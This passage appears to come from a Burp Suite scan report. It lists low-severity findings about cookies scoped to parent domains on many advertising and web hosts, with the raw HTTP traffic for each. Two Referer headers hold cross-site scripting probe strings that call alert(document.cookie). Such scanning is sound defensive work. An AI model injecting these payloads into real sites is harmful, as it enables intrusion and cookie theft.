<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<html>
<head>
<meta http-equiv="refresh" content="0;url=/gcs/travel/"/>
</head>
<body></body>
</html>

14.82. http://counter.yadro.ru/hit previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://counter.yadro.ru
Path:	/hit

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

FTID=1DJSvH2tlD0r; path=/; expires=Sun, 05 Feb 2012 21:00:00 GMT; domain=.yadro.ru

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /hit?rhttp%3A//burp/show/0;s1920*1200*16;uhttp%3A//driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload72968%2522%253E%253Cimg%2520src%253da%2520onerror%253dalert%28document.cookie%29%253Ea36cb148e37;0.6545794615522027 HTTP/1.1
Host: counter.yadro.ru
Proxy-Connection: keep-alive
Referer: http://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload72968%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3Ea36cb148e37
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Date: Sat, 05 Feb 2011 22:25:21 GMT
Server: 0W/0.8c
Content-Type: text/html
Location: http://counter.yadro.ru/hit?q;rhttp%3A//burp/show/0;s1920*1200*16;uhttp%3A//driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload72968%2522%253E%253Cimg%2520src%253da%2520onerror%253dalert%28document.cookie%29%253Ea36cb148e37;0.6545794615522027
Content-Length: 32
Expires: Fri, 05 Feb 2010 21:00:00 GMT
Pragma: no-cache
Cache-control: no-cache
P3P: policyref="/w3c/p3p.xml", CP="UNI"
Set-Cookie: FTID=1DJSvH2tlD0r; path=/; expires=Sun, 05 Feb 2012 21:00:00 GMT; domain=.yadro.ru

<html><body>Moved</body></html>

14.83. http://d.mediabrandsww.com/r/dd/id/L21rdC8zL2NpZC8xNzk2NjkwL3QvMg/cat/267859374-193167493/qry/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://d.mediabrandsww.com
Path:	/r/dd/id/L21rdC8zL2NpZC8xNzk2NjkwL3QvMg/cat/267859374-193167493/qry/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

uid=2402274690891816433; Domain=.mediabrandsww.com; Expires=Fri, 05-Aug-2011 13:22:28 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /r/dd/id/L21rdC8zL2NpZC8xNzk2NjkwL3QvMg/cat/267859374-193167493/qry/ HTTP/1.1
Host: d.mediabrandsww.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=2402274690891816433

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="http://ad.turn.com/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0
Pragma: no-cache
Set-Cookie: uid=2402274690891816433; Domain=.mediabrandsww.com; Expires=Fri, 05-Aug-2011 13:22:28 GMT; Path=/
Content-Type: image/gif
Content-Length: 43
Date: Sun, 06 Feb 2011 13:22:27 GMT

GIF89a.............!.......,...........D..;

14.84. http://del.icio.us/post previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://del.icio.us
Path:	/post

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

BX=e3vc5bl6kthec&b=3&s=cu; expires=Tue, 06-Feb-2013 20:00:00 GMT; path=/; domain=.icio.us

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /post HTTP/1.1
Host: del.icio.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Date: Sun, 06 Feb 2011 16:01:16 GMT
Set-Cookie: BX=e3vc5bl6kthec&b=3&s=cu; expires=Tue, 06-Feb-2013 20:00:00 GMT; path=/; domain=.icio.us
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Location: http://www.delicious.com/post
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Cache-Control: private
Content-Length: 162

The document has moved <A HREF="http://www.delicious.com/post">here</A>.<P>

14.85. http://developer.yahoo.com/yui/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://developer.yahoo.com
Path:	/yui/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

B=bgfp9s16kthjh&b=3&s=lg; expires=Tue, 06-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /yui/ HTTP/1.1
Host: developer.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.86. http://developer.yahoo.com/yui/license.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://developer.yahoo.com
Path:	/yui/license.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

B=akvfcul6kthjh&b=3&s=mo; expires=Tue, 06-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /yui/license.html HTTP/1.1
Host: developer.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.87. http://developers.facebook.com/plugins/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://developers.facebook.com
Path:	/plugins/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

datr=HN5NTXcKjZrFIQ37M294VK4z; expires=Mon, 04-Feb-2013 23:32:44 GMT; path=/; domain=.facebook.com; httponly
lsd=ScgJn; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /plugins/ HTTP/1.1
Host: developers.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Location: http://developers.facebook.com/docs/plugins
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Set-Cookie: datr=HN5NTXcKjZrFIQ37M294VK4z; expires=Mon, 04-Feb-2013 23:32:44 GMT; path=/; domain=.facebook.com; httponly
Set-Cookie: lsd=ScgJn; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 05 Feb 2011 23:32:44 GMT
Content-Length: 0

14.88. http://download32.us.intellitxt.com/al.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://download32.us.intellitxt.com
Path:	/al.asp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:48:02 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /al.asp?ts=20110205214821&adid=126828%2C0%2C3841%2C121057%2C0%2C0%2C0&cc=us&di=29848192%2C29951564%2C29471372%2C29167950%2C30018856%2C29875388%2C29651480&hk=1&ipid=18400&mh=57f4673cf4ad79544ac753cf0dd004c8&pid=2%2C2%2C2%2C2%2C2%2C2%2C2&pvm=8cc57e88ff824e9e3d4bdb25eca56ba9&pvu=4E02CE94902A497D8EBF5C1016534811&rcc=us&so=0&syid=0%2C0%2C0%2C0%2C0%2C0%2C0&uf=0%2C0%2C0%2C0%2C0%2C0%2C0&ur=0%2C0%2C0%2C0%2C0%2C0%2C0&kp=430%2C971%3B168%2C1189%3B238%2C1238%3B337%2C1717%3B479%2C2214%3B509%2C2742%3B346%2C4628%3B&prf=ll%3A2635%7Cintl%3A2738%7Cpreprochrome%3A2%7Cgetconchrome%3A251%7Ccontint%3A3224%7Ccontl%3A6220%7Cadvint%3A351%7Cadvl%3A6571%7Ctl%3A6773&jscallback=$iTXT.js.callback19 HTTP/1.1
Host: download32.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:48:02 GMT; Path=/
Content-Type: text/javascript
Content-Length: 39
Date: Sat, 05 Feb 2011 21:48:01 GMT
Connection: close

try{$iTXT.js.callback19();}catch(e){}

14.89. http://download32.us.intellitxt.com/intellitxt/front.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://download32.us.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:47:53 GMT; Path=/
VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:47:53 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /intellitxt/front.asp?ipid=18400 HTTP/1.1
Host: download32.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AIAAAEt7DS2iwA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:47:53 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:47:53 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sat, 05 Feb 2011 21:47:53 GMT
Connection: close
Content-Length: 10683

document.itxtDisabled=1;
document.itxtDebugOn=false;
if(document.itxtDisabled){
document.itxtInProg=1;
if ('undefined'== typeof $iTXT){$iTXT={};};if (!$iTXT.cnst){$iTXT.cnst={};} if (!$iTXT.debug){$iT
...[SNIP]...

14.90. http://eas.statcamp.net/eas previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://eas.statcamp.net
Path:	/eas

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

eas_uid=2-1297009559003747178; path=/; expires=Mon, 16-Mar-20 01:00:00 GMT; domain=.statcamp.net;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /eas?camp=31618;cre=mu;js=y;target=_blank;ord=[timestamp];EASClick= HTTP/1.1
Host: eas.statcamp.net
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:25:59 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Cache-Control: no-cache, no-store, must-revalidate
Expires: Thu, 18 May 2006 01:00:00 GMT
P3P: CP="NOI DSP COR PSAo PSDo BUS OUR"
Set-Cookie: eas_pd_2=c2_99:r44_80:y324_61:b0:z75207:a214:d623; path=/; expires=Mon, 07-Feb-11 05:25:59 GMT;
Set-Cookie: eas_uid=2-1297009559003747178; path=/; expires=Mon, 16-Mar-20 01:00:00 GMT; domain=.statcamp.net;
Vary: Accept-Encoding
Connection: close
Content-Type: application/x-javascript; charset=ISO-8859-1
Content-Length: 48

document.write('');

14.91. http://edge.quantserve.com/quant.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://edge.quantserve.com
Path:	/quant.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

mc=4d4dce43-e3fa1-533c1-60d39; expires=Sat, 05-Feb-2021 22:25:07 GMT; path=/; domain=.quantserve.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /quant.js HTTP/1.1
Host: edge.quantserve.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
ETag: "18382:E0-149392971-1296944707933"
Vary: Accept-Encoding
Last-Modified: Sat, 05-Feb-2011 22:25:07 GMT
Content-Type: application/x-javascript
Set-Cookie: mc=4d4dce43-e3fa1-533c1-60d39; expires=Sat, 05-Feb-2021 22:25:07 GMT; path=/; domain=.quantserve.com
P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV"
Cache-Control: private, no-transform, must-revalidate, max-age=86400
Expires: Sun, 06 Feb 2011 22:25:07 GMT
Content-Length: 5265
Date: Sat, 05 Feb 2011 22:25:07 GMT
Server: QS

if(!__qc){var __qc={qcdst:function(){if(__qc.qctzoff(0)!=__qc.qctzoff(6))return 1;return 0;},qctzoff:function(m){var d1=new Date(2000,m,1,0,0,0,0);var t=d1.toGMTString();var d3=new Date(t.substring(0,
...[SNIP]...

14.92. http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s23179186573252 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://enterprisemediagroup.112.2o7.net
Path:	/b/ss/emgrelatedcontent/1/H.19.4/s23179186573252

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

s_vi_tx7Cvctx7Dpeturx7Ex7Fetx7Fe=[CS]v4|0-0|4D4EC5CE[CE]; Expires=Fri, 5 Feb 2016 16:01:18 GMT; Domain=.2o7.net; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b/ss/emgrelatedcontent/1/H.19.4/s23179186573252 HTTP/1.1
Host: enterprisemediagroup.112.2o7.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4EA057[CE]; s_vi_kx60gx60w=[CS]v4|26A20C60051617F4-40000183C02A4478|4D4418BF[CE]; s_vi_bohx7Fbcx7Dbjbx7Eyi=[CS]v4|2694879D05010AB6-600001152001C1C9|4D290F39[CE]; s_vi_jyx7Bskhyx7Bx7Dx7Ftwzytjyx7Bskhyx7Bx7D=[CS]v4|26A6B52B85011D42-6000010FC0072A22|4D4D6A14[CE]; s_vi_x7Fx7Ex7Cyx7Eux3Dx7Bux7Ex3Dcduyx7E=[CS]v4|26A0E5B58501123C-400001062000534C|4D41CB69[CE]; s_vi_maitcx7Cibx7Cx7Ech=[CS]v4|26A62673051D24FA-40000102A01BFE08|4D4C4CE1[CE]; s_vi_dinydefxxelh=[CS]v4|2696E37B85158159-40000175A004C187|4D30BC07[CE]; s_vi_x60sqyabsqwx7Fx7Daax7Dfwaf=[CS]v4|26A6B50A85011110-6000010AA002E73C|4D4D6A14[CE]; s_vi_mx7Eqqsvax7Edtx7Fvyyrx7Bx7Eydx7Esre=[CS]v4|26A6AAA485161A8B-40000177E007F5AA|4D4D5548[CE]; s_vi=[CS]v1|26A7503405012723-40000106C0020AE2[CE]; s_vi_nxxx7Cbx60mfcjxxwx7Fx7Dx60k=[CS]v4|2697CD9905013D57-60000105600F9188|4D2F9B0A[CE]; s_vi_bwvx7Bux60wwqwasx60x3Fbx60x7Dv=[CS]v4|2696ED9D05011A65-6000010260187391|4D2E46F2[CE]; s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|26A7502C850132CA-6000010CE0000D64|4D4EA057[CE];

Response

HTTP/1.1 302 Found
Date: Sun, 06 Feb 2011 16:01:18 GMT
Server: Omniture DC/2.0.0
Set-Cookie: s_vi_tx7Cvctx7Dpeturx7Ex7Fetx7Fe=[CS]v4|0-0|4D4EC5CE[CE]; Expires=Fri, 5 Feb 2016 16:01:18 GMT; Domain=.2o7.net; Path=/
Location: http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s23179186573252?AQB=1&pccr=true&g=none&AQE=1
X-C: ms-4.3.1
Expires: Sat, 05 Feb 2011 16:01:18 GMT
Last-Modified: Mon, 07 Feb 2011 16:01:18 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA"
xserver: www616
Content-Length: 0
Content-Type: text/plain
Connection: close

14.93. http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s29905151680577 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://enterprisemediagroup.112.2o7.net
Path:	/b/ss/emgrelatedcontent/1/H.19.4/s29905151680577

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

s_vi_tx7Cvctx7Dpeturx7Ex7Fetx7Fe=[CS]v4|0-0|4D4EC5CF[CE]; Expires=Fri, 5 Feb 2016 16:01:19 GMT; Domain=.2o7.net; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b/ss/emgrelatedcontent/1/H.19.4/s29905151680577 HTTP/1.1
Host: enterprisemediagroup.112.2o7.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4EA057[CE]; s_vi_kx60gx60w=[CS]v4|26A20C60051617F4-40000183C02A4478|4D4418BF[CE]; s_vi_bohx7Fbcx7Dbjbx7Eyi=[CS]v4|2694879D05010AB6-600001152001C1C9|4D290F39[CE]; s_vi_jyx7Bskhyx7Bx7Dx7Ftwzytjyx7Bskhyx7Bx7D=[CS]v4|26A6B52B85011D42-6000010FC0072A22|4D4D6A14[CE]; s_vi_x7Fx7Ex7Cyx7Eux3Dx7Bux7Ex3Dcduyx7E=[CS]v4|26A0E5B58501123C-400001062000534C|4D41CB69[CE]; s_vi_maitcx7Cibx7Cx7Ech=[CS]v4|26A62673051D24FA-40000102A01BFE08|4D4C4CE1[CE]; s_vi_dinydefxxelh=[CS]v4|2696E37B85158159-40000175A004C187|4D30BC07[CE]; s_vi_x60sqyabsqwx7Fx7Daax7Dfwaf=[CS]v4|26A6B50A85011110-6000010AA002E73C|4D4D6A14[CE]; s_vi_mx7Eqqsvax7Edtx7Fvyyrx7Bx7Eydx7Esre=[CS]v4|26A6AAA485161A8B-40000177E007F5AA|4D4D5548[CE]; s_vi=[CS]v1|26A7503405012723-40000106C0020AE2[CE]; s_vi_nxxx7Cbx60mfcjxxwx7Fx7Dx60k=[CS]v4|2697CD9905013D57-60000105600F9188|4D2F9B0A[CE]; s_vi_bwvx7Bux60wwqwasx60x3Fbx60x7Dv=[CS]v4|2696ED9D05011A65-6000010260187391|4D2E46F2[CE]; s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|26A7502C850132CA-6000010CE0000D64|4D4EA057[CE];

Response

HTTP/1.1 302 Found
Date: Sun, 06 Feb 2011 16:01:19 GMT
Server: Omniture DC/2.0.0
Set-Cookie: s_vi_tx7Cvctx7Dpeturx7Ex7Fetx7Fe=[CS]v4|0-0|4D4EC5CF[CE]; Expires=Fri, 5 Feb 2016 16:01:19 GMT; Domain=.2o7.net; Path=/
Location: http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s29905151680577?AQB=1&pccr=true&g=none&AQE=1
X-C: ms-4.3.1
Expires: Sat, 05 Feb 2011 16:01:19 GMT
Last-Modified: Mon, 07 Feb 2011 16:01:19 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA"
xserver: www492
Content-Length: 0
Content-Type: text/plain
Connection: close

14.94. http://feedburner.google.com/fb/a/mailverify previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://feedburner.google.com
Path:	/fb/a/mailverify

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

S=feedburner-control-panel=XBvt5onSLx9jPcXP90cfRA; Domain=.google.com; Path=/; HttpOnly

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /fb/a/mailverify HTTP/1.1
Host: feedburner.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.95. http://fusion.google.com/add previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fusion.google.com
Path:	/add

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

PREF=ID=02fc56ae97a8e7df:TM=1297008079:LM=1297008079:S=aeM56B3JHXvgy9fK; expires=Tue, 05-Feb-2013 16:01:19 GMT; path=/; domain=.google.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /add HTTP/1.1
Host: fusion.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Location: http://www.google.com/ig/add
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Set-Cookie: PREF=ID=02fc56ae97a8e7df:TM=1297008079:LM=1297008079:S=aeM56B3JHXvgy9fK; expires=Tue, 05-Feb-2013 16:01:19 GMT; path=/; domain=.google.com
X-Content-Type-Options: nosniff
Date: Sun, 06 Feb 2011 16:01:19 GMT
Server: igfe
Content-Length: 225
X-XSS-Protection: 1; mode=block
Connection: close

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.google.com/ig/add">he
...[SNIP]...

14.96. http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://groups.google.com
Path:	/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

PREF=ID=388b6895f2f5e916:TM=1296946162:LM=1296946162:S=pCk0TmWO-Wx5Tg3L; expires=Mon, 04-Feb-2013 22:49:22 GMT; path=/; domain=.google.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

14.97. http://hhonors1.hilton.com/en_US/hh/home_index.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://hhonors1.hilton.com
Path:	/en_US/hh/home_index.do

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

hilton-portal=HHONORS; Domain=hilton.com; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en_US/hh/home_index.do HTTP/1.1
Host: hhonors1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.98. https://home.americanexpress.com/home/corporations.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://home.americanexpress.com
Path:	/home/corporations.shtml

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

SaneID=64.215.162.185-1296942649572222; path=/; expires=Tue, 09-Feb-16 21:50:49 GMT; domain=.americanexpress.com
bandwidthdetect=vhigh; expires=Mon, 07-Mar-2011 21:50:49 GMT; path=/; domain=.americanexpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /home/corporations.shtml HTTP/1.1
Host: home.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.99. https://home.americanexpress.com/home/global_splash.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://home.americanexpress.com
Path:	/home/global_splash.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

bandwidthdetect=vhigh; expires=Mon, 07-Mar-2011 21:50:49 GMT; path=/; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /home/global_splash.html HTTP/1.1
Host: home.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.100. https://home.americanexpress.com/home/mt_personal.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://home.americanexpress.com
Path:	/home/mt_personal.shtml

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

SaneID=64.215.162.185-1296942666498249; path=/; expires=Tue, 09-Feb-16 21:51:06 GMT; domain=.americanexpress.com
bandwidthdetect=vhigh; expires=Mon, 07-Mar-2011 21:51:06 GMT; path=/; domain=.americanexpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /home/mt_personal.shtml HTTP/1.1
Host: home.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.101. http://i.w55c.net/rs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://i.w55c.net
Path:	/rs

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ;Path=/;Domain=.w55c.net;Expires=Mon, 04-Feb-13 22:30:45 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /rs?id=55a98cbe3a9546199c35c06090cd400c&t=marketing HTTP/1.1
Host: i.w55c.net
